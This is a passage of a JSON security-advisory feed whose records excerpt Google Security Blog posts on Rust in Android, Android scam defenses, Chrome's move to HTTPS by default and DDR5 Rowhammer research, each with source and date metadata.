use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Android Quick Share Support for AirDrop: A Secure Approach to Cross-Platform File Sharing","url":"https://security.googleblog.com/2025/11/android-quick-share-support-for-airdrop-security.html","type":"primary","publishedAt":"2025-11-20T17:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-rust-in-android-move-fast-fix-things-a2039473c328","cveId":null,"aliases":[],"kind":"advisory","title":"Rust in Android: move fast and fix things","summary":"Posted by Jeff Vander Stoep, Android \n\n Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in new code quickly yields durable and compounding gains. This year we look at how this approach isn’t just fixing things, but helping us move faster .\n\nThe 2025 data continues to validate the approach, with memory safety vulnerabilities falling below 20% of total vulnerabilities for the first time.\n\n Updated data for 2025. This data covers first-party and third-party (open source) code changes to the Android platform across C, C++, Java, Kotlin, and Rust. This post is published a couple of months before the end of 2025, but Android’s industry-standard 90-day patch window means that these results are very likely close to final. We can and will accelerate patching when necessary. \n\nWe adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code . But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review , the safer path is now also the faster one. \n\nIn this post, we dig into the data behind this shift and also cover:\n\n How we’re expanding our reach: We're pushing to make secure code the default across our entire software stack. We have updates on Rust adoption in first-party apps, the Linux kernel, and firmware.\n\n Our first rust memory safety vulnerability...almost: We'll analyze a near-miss memory safety bug in unsafe Rust: how it happened, how it was mitigated, and steps we're taking to prevent recurrence. It’s also a good chance to answer the question “if Rust can have memory safety issues, why bother at all?”\n\n Building Better Software, Faster\n\nDeveloping an operating system requires the low-level control and predictability of systems programming languages like C, C++, and Rust. While Java and Kotlin are important for Android platform development, their ro","detail":"Posted by Jeff Vander Stoep, Android \n\n Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in new code quickly yields durable and compounding gains. This year we look at how this approach isn’t just fixing things, but helping us move faster .\n\nThe 2025 data continues to validate the approach, with memory safety vulnerabilities falling below 20% of total vulnerabilities for the first time.\n\n Updated data for 2025. This data covers first-party and third-party (open source) code changes to the Android platform across C, C++, Java, Kotlin, and Rust. This post is published a couple of months before the end of 2025, but Android’s industry-standard 90-day patch window means that these results are very likely close to final. We can and will accelerate patching when necessary. \n\nWe adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code . But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review , the safer path is now also the faster one. \n\nIn this post, we dig into the data behind this shift and also cover:\n\n How we’re expanding our reach: We're pushing to make secure code the default across our entire software stack. We have updates on Rust adoption in first-party apps, the Linux kernel, and firmware.\n\n Our first rust memory safety vulnerability...almost: We'll analyze a near-miss memory safety bug in unsafe Rust: how it happened, how it was mitigated, and steps we're taking to prevent recurrence. It’s also a good chance to answer the question “if Rust can have memory safety issues, why bother at all?”\n\n Building Better Software, Faster\n\nDeveloping an operating system requires the low-level control and predictability of systems programming languages like C, C++, and Rust. While Java and Kotlin are important for Android platform development, their role is complementary to the systems languages rather than interchangeable. We introduced Rust into Android as a direct alternative to C and C++, offering a similar level of control but without many of their risks. We focus this analysis on new and actively developed code because our data shows this to be an effective approach .\n\nWhen we look at development in systems languages (excluding Java and Kotlin), two trends emerge: a steep rise in Rust usage and a slower but steady decline in new C++.\n\n Net lines of code added: Rust vs. C++, first-party Android code.\n\nThis chart focuses on first-party (Google-developed) code (unlike the previous chart that included all first-party and third-party code in Android.) We only include systems languages, C/C++ (which is primarily C++), and Rust. \n\nThe chart shows that the volume of new Rust code now rivals that of C++, enabling reliable comparisons of software development process metrics. To measure this, we use the DORA 1 framework, a decade-long research program that has become the industry standard for evaluating software engineering team performance. DORA metrics focus on:\n\n Throughput: the velocity of delivering software changes.\n\n Stability: the quality of those changes.\n\nCross-language comparisons can be challenging. We use several techniques to ensure the comparisons are reliable.\n\n Similar sized changes: Rust and C++ have similar functionality density, though Rust is slightly denser. This difference favors C++, but the comparison is still valid. We use Gerrit’s change size definitions .\n\n Similar developer pools: We only consider first-party changes from Android platform developers. Most are software engineers at Google, and there is considerable overlap between pools with many contributing in both.\n\n Track trends over time: As Rust adoption increases, are metrics changing steadily, accelerating the pace, or reverting to the mean? \n\n Throughput\n\nCode review is a time-consuming and high-latency part of the development process. Reworking code is a primary source of these costly delays. Data shows that Rust code requires fewer revisions. This trend has been consistent since 2023. Rust changes of a similar size need about 20% fewer revisions than their C++ counterparts.\n\nIn addition, Rust changes currently spend about 25% less time in code review compared to C++. We speculate that the significant change in favor of Rust between 2023 and 2024 is due to increased Rust expertise on the Android team.\n\nWhile less rework and faster code reviews offer modest productivity gains, the most significant improvements are in the stability and quality of the changes.\n\n Stability\n\nStable and high-quality changes differentiate Rust. DORA uses rollback rate for evaluating change stability. Rust's rollback rate is very low and continues to decrease, even as its adoption in Android surpasses C++.\n\n For medium and large changes, the rollback rate of Rust changes in Android is ~4x lower than C++. This low rollback rate doesn't just indicate stability; it actively improves overall development throughput. Rollbacks are highly disruptive to productivity, introducing organizational friction and mobilizing resources far beyond the developer who submitted the faulty change. Rollbacks necessitate rework and more code reviews, can also lead to build respins, postmortems, and blockage of other teams. Resulting postmortems often introduce new safeguards that add even more development overhead.\n\nIn a self-reported survey from 2022 , Google software engineers reported that Rust is both easier to review and more likely to be correct. The hard data on rollback rates and review times validates those impressions.\n\n Putting it all together\n\nHistorically, security improvements often came at a cost. More security meant more process, slower performance, or delayed features, forcing trade-offs between security and other product goals. The shift to Rust is different: we are significantly improving security and key development efficiency and product stability metrics. \n\n Expanding Our Reach\n\nWith Rust support now mature for building Android system services and libraries, we are focused on bringing its security and productivity advantages elsewhere. \n\n Kernel: Android’s 6.12 Linux kernel is our first kernel with Rust support enabled and our first production Rust driver. More exciting projects are underway, such as our ongoing collaboration with Arm and Collabora on a Rust-based kernel-mode GPU driver .\n\n Firmware: The combination of high privilege, performance constraints, and limited applicability of many security measures makes firmware both high-risk, and challenging to secure. Moving firmware to Rust can yield a major improvement in security. We have been deploying Rust in firmware for years now , and even released tutorials , training , and code for the wider community. We’re particularly excited about our collaboration with Arm on Rusted Firmware-A .\n\n First-party applications: Rust is ensuring memory safety from the ground up in several security-critical Google applications, such as:\n\n Nearby Presence : The protocol for securely and privately discovering local devices over Bluetooth is implemented in Rust and is currently running in Google Play Services.\n\n MLS : The protocol for secure RCS messaging is implemented in Rust and will be included in the Google Messages app in a future release.\n\n Chromium: Parsers for PNG , JSON , and web fonts have been replaced with memory-safe implementations in Rust, making it easier for Chromium engineers to deal with data from the web while following the Rule of 2 .\n\nThese examples highlight Rust's role in reducing security risks, but memory-safe languages are only one part of a comprehensive memory safety strategy . We continue to employ a defense-in-depth approach, the value of which was clearly demonstrated in a recent near-miss.\n\n Our First Rust Memory Safety Vulnerability...Almost\n\nWe recently avoided shipping our very first Rust-based memory saf","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-11-13T16:59:00.000Z","updatedAt":"2025-11-13T17:02:24.265Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Rust in Android: move fast and fix things","url":"https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html","type":"primary","publishedAt":"2025-11-13T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-how-android-protects-you-from-scams-bad9f7012cdc","cveId":null,"aliases":[],"kind":"advisory","title":"How Android provides the most effective protection to keep you safe from mobile scams","summary":"Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse; Vijay Pareek, Manager, Android Messaging Trust and Safety \n\nAs Cybersecurity Awareness Month wraps up, we’re focusing on one of today's most pervasive digital threats: mobile scams. In the last 12 months, fraudsters have used advanced AI tools to create more convincing schemes, resulting in over $400 billion in stolen funds globally. ¹ \n\nFor years, Android has been on the frontlines in the battle against scammers, using the best of Google AI to build proactive, multi-layered protections that can anticipate and block scams before they reach you. Android’s scam defenses protect users around the world from over 10 billion suspected malicious calls and messages every month 2 . In addition, Google continuously performs safety checks to maintain the integrity of the RCS service. In the past month alone, this ongoing process blocked over 100 million suspicious numbers from using RCS, stopping potential scams before they could even be sent. \n\nTo show how our scam protections work in the real world, we asked users and independent security experts to compare how well Android and iOS protect you from these threats. We're also releasing a new report that explains how modern text scams are orchestrated, helping you understand the tactics fraudsters use and how to spot them. \n\n Survey shows Android users’ confidence in scam protections \n\nGoogle and YouGov 3 surveyed 5,000 smartphone users across the U.S., India, and Brazil about their scam experiences. The findings were clear: Android users reported receiving fewer scam texts and felt more confident that their device was keeping them safe.\n\n Android users were 58% more likely than iOS users to say they had not received any scam texts in the week prior to the survey. The advantage was even stronger on Pixel, where users were 96% more likely than iPhone owners to report zero scam texts 4 .","detail":"Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse; Vijay Pareek, Manager, Android Messaging Trust and Safety \n\nAs Cybersecurity Awareness Month wraps up, we’re focusing on one of today's most pervasive digital threats: mobile scams. In the last 12 months, fraudsters have used advanced AI tools to create more convincing schemes, resulting in over $400 billion in stolen funds globally. ¹ \n\nFor years, Android has been on the frontlines in the battle against scammers, using the best of Google AI to build proactive, multi-layered protections that can anticipate and block scams before they reach you. Android’s scam defenses protect users around the world from over 10 billion suspected malicious calls and messages every month 2 . In addition, Google continuously performs safety checks to maintain the integrity of the RCS service. In the past month alone, this ongoing process blocked over 100 million suspicious numbers from using RCS, stopping potential scams before they could even be sent. \n\nTo show how our scam protections work in the real world, we asked users and independent security experts to compare how well Android and iOS protect you from these threats. We're also releasing a new report that explains how modern text scams are orchestrated, helping you understand the tactics fraudsters use and how to spot them. \n\n Survey shows Android users’ confidence in scam protections \n\nGoogle and YouGov 3 surveyed 5,000 smartphone users across the U.S., India, and Brazil about their scam experiences. The findings were clear: Android users reported receiving fewer scam texts and felt more confident that their device was keeping them safe.\n\n Android users were 58% more likely than iOS users to say they had not received any scam texts in the week prior to the survey. The advantage was even stronger on Pixel, where users were 96% more likely than iPhone owners to report zero scam texts 4 .\n\n At the other end of the spectrum, iOS users were 65% more likely than Android users to report receiving three or more scam texts in a week. The difference became even more pronounced when comparing iPhone to Pixel, with iPhone users 136% more likely to say they had received a heavy volume of scam messages 4 .\n\n Android users were 20% more likely than iOS users to describe their device’s scam protections as “very effective” or “extremely effective.” When comparing Pixel to iPhone, iPhone users were 150% more likely to say their device was not effective at all in stopping mobile fraud.\n\n YouGov study findings on users’ experience with scams on Android and iOS \n\n Security researchers and analysts highlight Android’s AI-driven safeguards against sophisticated scams \n\nIn a recent evaluation by Counterpoint Research 5 , a global technology market research firm, Android smartphones were found to have the most AI-powered protections. The independent study compared the latest Pixel, Samsung, Motorola, and iPhone devices, and found that Android provides comprehensive AI-driven safeguards across ten key protection areas, including email protections, browsing protections, and on-device behavioral protections. By contrast, iOS offered AI-powered protections in only two categories. You can see the full comparison in the visual below.\n\n Counterpoint Research comparison of Android and iOS AI-powered protections \n\nCybersecurity firm Leviathan Security Group conducted a funded evaluation 6 of scam and fraud protection on the iPhone 17, Moto Razr+ 2025, Pixel 10 Pro, and Samsung Galaxy Z Fold 7. Their analysis found that Android smartphones, led by the Pixel 10 Pro, provide the highest level of default scam and fraud protection.The report particularly noted Android's robust call screening, scam detection, and real-time scam warning authentication capabilities as key differentiators. Taken together, these independent expert assessments conclude that Android’s AI-driven safeguards provide more comprehensive and intelligent protection against mobile scams.\n\n Leviathan Security Group comparison of scam protections across various devices \n\n Why Android users see fewer scams \n\nAndroid’s proactive protections work across the platform to help you stay ahead of threats with the best of Google AI. \n\nHere’s how they work:\n\n Keeping your messages safe: Google Messages automatically filters known spam by analyzing sender reputation and message content, moving suspicious texts directly to your \"spam & blocked\" folder to keep them out of sight. For more complex threats, Scam Detection uses on-device AI to analyze messages from unknown senders for patterns of conversational scams (like pig butchering) and provide real-time warnings 6 . This helps secure your privacy while providing a robust shield against text scams. As an extra safeguard, Google Messages also helps block suspicious links in messages that are determined to be spam or scams.\n\n Combatting phone call scams: Phone by Google automatically blocks known spam calls so your phone never even rings, while Call Screen 5 can answer the call on your behalf to identify fraudsters. If you answer, the protection continues with Scam Detection, which uses on-device AI to provide real-time warnings for suspicious conversational patterns 6 . This processing is completely ephemeral, meaning no call content is ever saved or leaves your device. Android also helps stop social engineering during the call itself by blocking high-risk actions 7 like installing untrusted apps or disabling security settings, and warns you if your screen is being shared unknowingly.\n\nThese safeguards are built directly into the core of Android, alongside other features like real-time app scanning in Google Play Protect and enhanced Safe Browsing in Chrome using LLMs. With Android, you can trust that you have intelligent, multi-layered protection against scams working for you.\n\n Android is always evolving to keep you one step ahead of scams \n\nIn a world of evolving digital threats, you deserve to feel confident that your phone is keeping you safe. That’s why we use the best of Google AI to build intelligent protections that are always improving and work for you around the clock, so you can connect, browse, and communicate with peace of mind. \n\n See these protections in action in our new infographic and learn more about phone call scams in our 2025 Phone by Google Scam Report . \n\n 1: Data from Global Anti-Scam Alliance , October 2025 ↩ \n\n 2: This total comprises all instances where a message or call was proactively blocked or where a user was alerted to potential spam or scam activity. ↩ \n\n 3: Google/YouGov survey, July-August, n=5,100 (1,700 each in the US, Brazil and India), with adults who use their smartphones daily and who have been exposed to a scam or fraud attempt on their smartphone. Survey data have been weighted to smartphone population adults in each country. ↩ \n\n 4: Among users who use the default texting app on their smartphone ↩ \n\n 5: Google/Counterpoint Research, “Assessing the State of AI-Powered Mobile Security”, Oct. 2025; based on comparing the Pixel 10 Pro, iPhone 17 Pro, Samsung Galaxy S25 Ultra, OnePlus 13, Motorola Razr+ 2025. Evaluation based on no-cost smartphone features enabled by default. Some features may not be available in all countries. ↩ \n\n 6: Google/Leviathan Security Group, “October 2025 Mobile Platform Security & Fraud Prevention Assessment”, Oct. 2025; based on comparing the Pixel 10 Pro, iPhone 17 Pro, Samsung Galaxy Z Fold 7 and Motorola Razr+ 2025. Evaluation based on no-cost smartphone features enabled by default. Some features may not be available in all countries. ↩ ↩ \n\n 7: Accuracy may vary. Availability varies. ↩ ↩ ↩\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-10-30T16:59:00.000Z","updatedAt":"2025-11-25T21:40:03.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: How Android provides the most effective protection to keep you safe from mobile scams","url":"https://security.googleblog.com/2025/10/how-android-protects-you-from-scams.html","type":"primary","publishedAt":"2025-10-30T16:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-https-by-default-513c100f2f81","cveId":null,"aliases":[],"kind":"advisory","title":"HTTPS by default","summary":"One year from now, with the release of Chrome 154 in October 2026, we will change the default settings of Chrome to enable “Always Use Secure Connections”. This means Chrome will ask for the user's permission before the first access to any public site without HTTPS.\n\nThe “Always Use Secure Connections” setting warns users before accessing a site without HTTPS\n\n Chrome Security's mission is to make it safe to click on links. Part of being safe means ensuring that when a user types a URL or clicks on a link, the browser ends up where the user intended. When links don't use HTTPS, an attacker can hijack the navigation and force Chrome users to load arbitrary, attacker-controlled resources, and expose the user to malware, targeted exploitation, or social engineering attacks. Attacks like this are not hypothetical—software to hijack navigations is readily available and attackers have previously used insecure HTTP to compromise user devices in a targeted attack.\n\nSince attackers only need a single insecure navigation, they don't need to worry that many sites have adopted HTTPS—any single HTTP navigation may offer a foothold. What's worse, many plaintext HTTP connections today are entirely invisible to users, as HTTP sites may immediately redirect to HTTPS sites. That gives users no opportunity to see Chrome's \"Not Secure\" URL bar warnings after the risk has occurred, and no opportunity to keep themselves safe in the first place.\n\nTo address this risk, we launched the “Always Use Secure Connections” setting in 2022 as an opt-in option. In this mode, Chrome attempts every connection over HTTPS, and shows a bypassable warning to the user if HTTPS is unavailable. We also previously discussed our intent to move towards HTTPS by default . We now think the time has come to enable “Always Use Secure Connections” for all users by default.\n\n Now is the time.\n\nFor more than a decade, Google has published the HTTPS transparency report , which tracks the percentage of navigations in C","detail":"One year from now, with the release of Chrome 154 in October 2026, we will change the default settings of Chrome to enable “Always Use Secure Connections”. This means Chrome will ask for the user's permission before the first access to any public site without HTTPS.\n\nThe “Always Use Secure Connections” setting warns users before accessing a site without HTTPS\n\n Chrome Security's mission is to make it safe to click on links. Part of being safe means ensuring that when a user types a URL or clicks on a link, the browser ends up where the user intended. When links don't use HTTPS, an attacker can hijack the navigation and force Chrome users to load arbitrary, attacker-controlled resources, and expose the user to malware, targeted exploitation, or social engineering attacks. Attacks like this are not hypothetical—software to hijack navigations is readily available and attackers have previously used insecure HTTP to compromise user devices in a targeted attack.\n\nSince attackers only need a single insecure navigation, they don't need to worry that many sites have adopted HTTPS—any single HTTP navigation may offer a foothold. What's worse, many plaintext HTTP connections today are entirely invisible to users, as HTTP sites may immediately redirect to HTTPS sites. That gives users no opportunity to see Chrome's \"Not Secure\" URL bar warnings after the risk has occurred, and no opportunity to keep themselves safe in the first place.\n\nTo address this risk, we launched the “Always Use Secure Connections” setting in 2022 as an opt-in option. In this mode, Chrome attempts every connection over HTTPS, and shows a bypassable warning to the user if HTTPS is unavailable. We also previously discussed our intent to move towards HTTPS by default . We now think the time has come to enable “Always Use Secure Connections” for all users by default.\n\n Now is the time.\n\nFor more than a decade, Google has published the HTTPS transparency report , which tracks the percentage of navigations in Chrome that use HTTPS. For the first several years of the report, numbers saw an impressive climb, starting at around 30-45% in 2015, and ending up around the 95-99% range around 2020. Since then, progress has largely plateaued. \n\nHTTPS adoption expressed as a percentage of main frame page loads\n\nThis rise represents a tremendous improvement to the security of the web, and demonstrates that HTTPS is now mature and widespread. This level of adoption is what makes it possible to consider stronger mitigations against the remaining insecure HTTP.\n\n Balancing user safety with friction\n\nWhile it may at first seem that 95% HTTPS means that the problem is mostly solved, the truth is that a few percentage points of HTTP navigations is still a lot of navigations. Since HTTP navigations remain a regular occurrence for most Chrome users, a naive approach to warning on all HTTP navigations would be quite disruptive. At the same time, as the plateau demonstrates, doing nothing would allow this risk to persist indefinitely. To balance these risks, we have taken steps to ensure that we can help the web move towards safer defaults, while limiting the potential annoyance warnings will cause to users. \n\nOne way we're balancing risks to users is by making sure Chrome does not warn about the same sites excessively. In all variants of the \"Always Use Secure Connections\" settings, so long as the user regularly visits an insecure site, Chrome will not warn the user about that site repeatedly. This means that rather than warn users about 1 out of 50 navigations, Chrome will only warn users when they visit a new (or not recently visited) site without using HTTPS.\n\nTo further address the issue, it's important to understand what sort of traffic is still using HTTP. The largest contributor to insecure HTTP by far, and the largest contributor to variation across platforms, is insecure navigations to private sites. The graph above includes both those to public sites, such as example.com , and navigations to private sites, such as local IP addresses like 192.168.0.1 , single-label hostnames, and shortlinks like intranet/ . While it is free and easy to get an HTTPS certificate that is trusted by Chrome for a public site, acquiring an HTTPS certificate for a private site unfortunately remains complicated. This is because private names are \"non-unique\"—private names can refer to different hosts on different networks. There is no single owner of 192.168.0.1 for a certification authority to validate and issue a certificate to.\n\nHTTP navigations to private sites can still be risky, but are typically less dangerous than their public site counterparts because there are fewer ways for an attacker to take advantage of these HTTP navigations. HTTP on private sites can only be abused by an attacker also on your local network, like on your home wifi or in a corporate network.\n\nIf you exclude navigations to private sites, then the distribution becomes much tighter across platforms. In particular, Linux jumps from 84% HTTPS to nearly 97% HTTPS when limiting the analysis to public sites only. Windows increases from 95% to 98% HTTPS, and both Android and Mac increase to over 99% HTTPS.\n\nIn recognition of the reduced risk HTTP to private sites represents, last year we introduced a variant of “Always Use Secure Connections” for public sites only . For users who frequently access private sites (such as those in enterprise settings, or web developers), excluding warnings on private sites significantly reduces the volume of warnings those users will see. Simultaneously, for users who do not access private sites frequently, this mode introduces only a small reduction in protection. This is the variant we intend to enable for all users next year.\n\n “Always Use Secure Connections,” available at chrome://settings/security \n\nIn Chrome 141, we experimented with enabling “Always Use Secure Connections” for public sites by default for a small percentage of users. We wanted to validate our expectations that this setting keeps users safer without burdening them with excessive warnings. \n\nAnalyzing the data from the experiment, we confirmed that the number of warnings seen by any users is considerably lower than 3% of navigations—in fact, the median user sees fewer than one warning per week, and the ninety-fifth percentile user sees fewer than three warnings per week..\n\n Understanding HTTP usage\n\nOnce “Always Use Secure Connections” is the default and additional sites migrate away from HTTP, we expect the actual warning volume to be even lower than it is now. In parallel to our experiments, we have reached out to a number of companies responsible for the most HTTP navigations, and expect that they will be able to migrate away from HTTP before the change in Chrome 154. For many of these organizations, transitioning to HTTPS isn't disproportionately hard, but simply has not received attention. For example, many of these sites use HTTP only for navigations that immediately redirect to HTTPS sites—an insecure interaction which was previously completely invisible to users.\n\nAnother current use case for HTTP is to avoid mixed content blocking when accessing devices on the local network. Private addresses, as discussed above, often do not have trusted HTTPS certificates, due to the difficulties of validating ownership of a non-unique name. This means most local network traffic is over HTTP, and cannot be initiated from an HTTPS page—the HTTP traffic counts as insecure mixed content , and is blocked. One common use case for needing to access the local network is to configure a local network device, e.g. the manufacturer might host a configuration portal at config.example.com , which then sends requests to a local device to configure it.\n\nPreviously, these types of pages needed to be hosted without HTTPS to avoid mixed content blocking. However, we recently introduced a local network access permission , which both prevents sites from accessing the user’s local","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-10-28T17:01:00.000Z","updatedAt":"2025-10-28T21:16:37.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: HTTPS by default","url":"https://security.googleblog.com/2025/10/https-by-default.html","type":"primary","publishedAt":"2025-10-28T17:01:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-supporting-rowhammer-research-to-be28db5256e2","cveId":null,"aliases":[],"kind":"advisory","title":"Supporting Rowhammer research to protect the DRAM ecosystem","summary":"Posted by Daniel Moghimi \n\n Rowhammer is a complex class of vulnerabilities across the industry. It is a hardware vulnerability in DRAM where repeatedly accessing a row of memory can cause bit flips in adjacent rows, leading to data corruption. This can be exploited by attackers to gain unauthorized access to data, escalate privileges, or cause denial of service. Hardware vendors have deployed various mitigations, such as ECC and Target Row Refresh (TRR) for DDR5 memory, to mitigate Rowhammer and enhance DRAM reliability. However, the resilience of those mitigations against sophisticated attackers remains an open question. \n\n To address this gap and help the ecosystem with deploying robust defenses, Google has supported academic research and developed test platforms to analyze DDR5 memory. Our effort has led to the discovery of new attacks and a deeper understanding of Rowhammer on the current DRAM modules, helping to forge the way for further, stronger mitigations. \n\n What is Rowhammer? \n\n Rowhammer exploits a vulnerability in DRAM. DRAM cells store data as electrical charges, but these electric charges leak over time, causing data corruption. To prevent data loss, the memory controller periodically refreshes the cells. However, if a cell discharges before the refresh cycle, its stored bit may corrupt. Initially considered a reliability issue, it has been leveraged by security researchers to demonstrate privilege escalation attacks. By repeatedly accessing a memory row, an attacker can cause bit flips in neighboring rows. An adversary can exploit Rowhammer via: \n\n Reliably cause bit flips by repeatedly accessing adjacent DRAM rows. \n\n Coerce other applications or the OS into using these vulnerable memory pages. \n\n Target security-sensitive code or data to achieve privilege escalation. \n\n Or simply corrupt system’s memory to cause denial of service . \n\n Previous work has repeatedly demonstrated the possibility of such attacks from software [ Revisiting rowhammer , A","detail":"Posted by Daniel Moghimi \n\n Rowhammer is a complex class of vulnerabilities across the industry. It is a hardware vulnerability in DRAM where repeatedly accessing a row of memory can cause bit flips in adjacent rows, leading to data corruption. This can be exploited by attackers to gain unauthorized access to data, escalate privileges, or cause denial of service. Hardware vendors have deployed various mitigations, such as ECC and Target Row Refresh (TRR) for DDR5 memory, to mitigate Rowhammer and enhance DRAM reliability. However, the resilience of those mitigations against sophisticated attackers remains an open question. \n\n To address this gap and help the ecosystem with deploying robust defenses, Google has supported academic research and developed test platforms to analyze DDR5 memory. Our effort has led to the discovery of new attacks and a deeper understanding of Rowhammer on the current DRAM modules, helping to forge the way for further, stronger mitigations. \n\n What is Rowhammer? \n\n Rowhammer exploits a vulnerability in DRAM. DRAM cells store data as electrical charges, but these electric charges leak over time, causing data corruption. To prevent data loss, the memory controller periodically refreshes the cells. However, if a cell discharges before the refresh cycle, its stored bit may corrupt. Initially considered a reliability issue, it has been leveraged by security researchers to demonstrate privilege escalation attacks. By repeatedly accessing a memory row, an attacker can cause bit flips in neighboring rows. An adversary can exploit Rowhammer via: \n\n Reliably cause bit flips by repeatedly accessing adjacent DRAM rows. \n\n Coerce other applications or the OS into using these vulnerable memory pages. \n\n Target security-sensitive code or data to achieve privilege escalation. \n\n Or simply corrupt system’s memory to cause denial of service . \n\n Previous work has repeatedly demonstrated the possibility of such attacks from software [ Revisiting rowhammer , Are we susceptible to rowhammer? , Drammer , Flip feng shui , Jolt ]. As a result, defending against Rowhammer is required for secure isolation in multi-tenant environments like the cloud. \n\n Rowhammer Mitigations \n\n The primary approach to mitigate Rowhammer is to detect which memory rows are being aggressively accessed and refreshing nearby rows before a bit flip occurs. TRR is a common example, which uses a number of counters to track accesses to a small number of rows adjacent to a potential victim row. If the access count for these aggressor rows reaches a certain threshold, the system issues a refresh to the victim row. TRR can be incorporated within the DRAM or in the host CPU. \n\n However, this mitigation is not foolproof. For example, the TRRespass attack showed that by simultaneously hammering multiple, non-adjacent rows, TRR can be bypassed. Over the past couple of years, more sophisticated attacks [ Half-Double , Blacksmith ] have emerged, introducing more efficient attack patterns. \n\n In response, one of our efforts was to collaborate with JEDEC , external researchers, and experts to define the PRAC as a new mitigation that deterministically detects Rowhammer by tracking all memory rows. \n\n However, current systems equipped with DDR5 lack support for PRAC or other robust mitigations. As a result, they rely on probabilistic approaches such as ECC and enhanced TRR to reduce the risk. While these measures have mitigated older attacks, their overall effectiveness against new techniques was not fully understood until our recent findings . \n\n Challenges with Rowhammer Assessment \n\n Mitigating Rowhammer attacks involves making it difficult for an attacker to reliably cause bit flips from software. Therefore, for an effective mitigation, we have to understand how a determined adversary introduces memory accesses that bypass existing mitigations. Three key information components can help with such an analysis: \n\n How the improved TRR and in-DRAM ECC work. \n\n How memory access patterns from software translate into low-level DDR commands. \n\n (Optionally) How any mitigations (e.g., ECC or TRR) in the host processor work. \n\n The first step is particularly challenging and involves reverse-engineering the proprietary in-DRAM TRR mechanism, which varies significantly between different manufacturers and device models. This process requires the ability to issue precise DDR commands to DRAM and analyze its responses, which is difficult on an off-the-shelf system. Therefore, specialized test platforms are essential. \n\n The second and third steps involve analyzing the DDR traffic between the host processor and the DRAM. This can be done using an off-the-shelf interposer, a tool that sits between the processor and DRAM. A crucial part of this analysis is understanding how a live system translates software-level memory accesses into the DDR protocol. \n\n The third step, which involves analyzing host-side mitigations, is sometimes optional. For example, host-side ECC (Error Correcting Code) is enabled by default on servers, while host-side TRR has only been implemented in some CPUs. \n\n Rowhammer testing platforms \n\n For the first challenge, we partnered with Antmicro to develop two specialized, open-source FPGA-based Rowhammer test platforms. These platforms allow us to conduct in-depth testing on different types of DDR5 modules. \n\n DDR5 RDIMM Platform: A new DDR5 Tester board to meet the hardware requirements of Registered DIMM (RDIMM) memory, common in server computers. \n\n SO-DIMM Platform: A version that supports the standard SO-DIMM pinout compatible with off-the-shelf DDR5 SO-DIMM memory sticks, common in workstations and end-user devices. \n\n 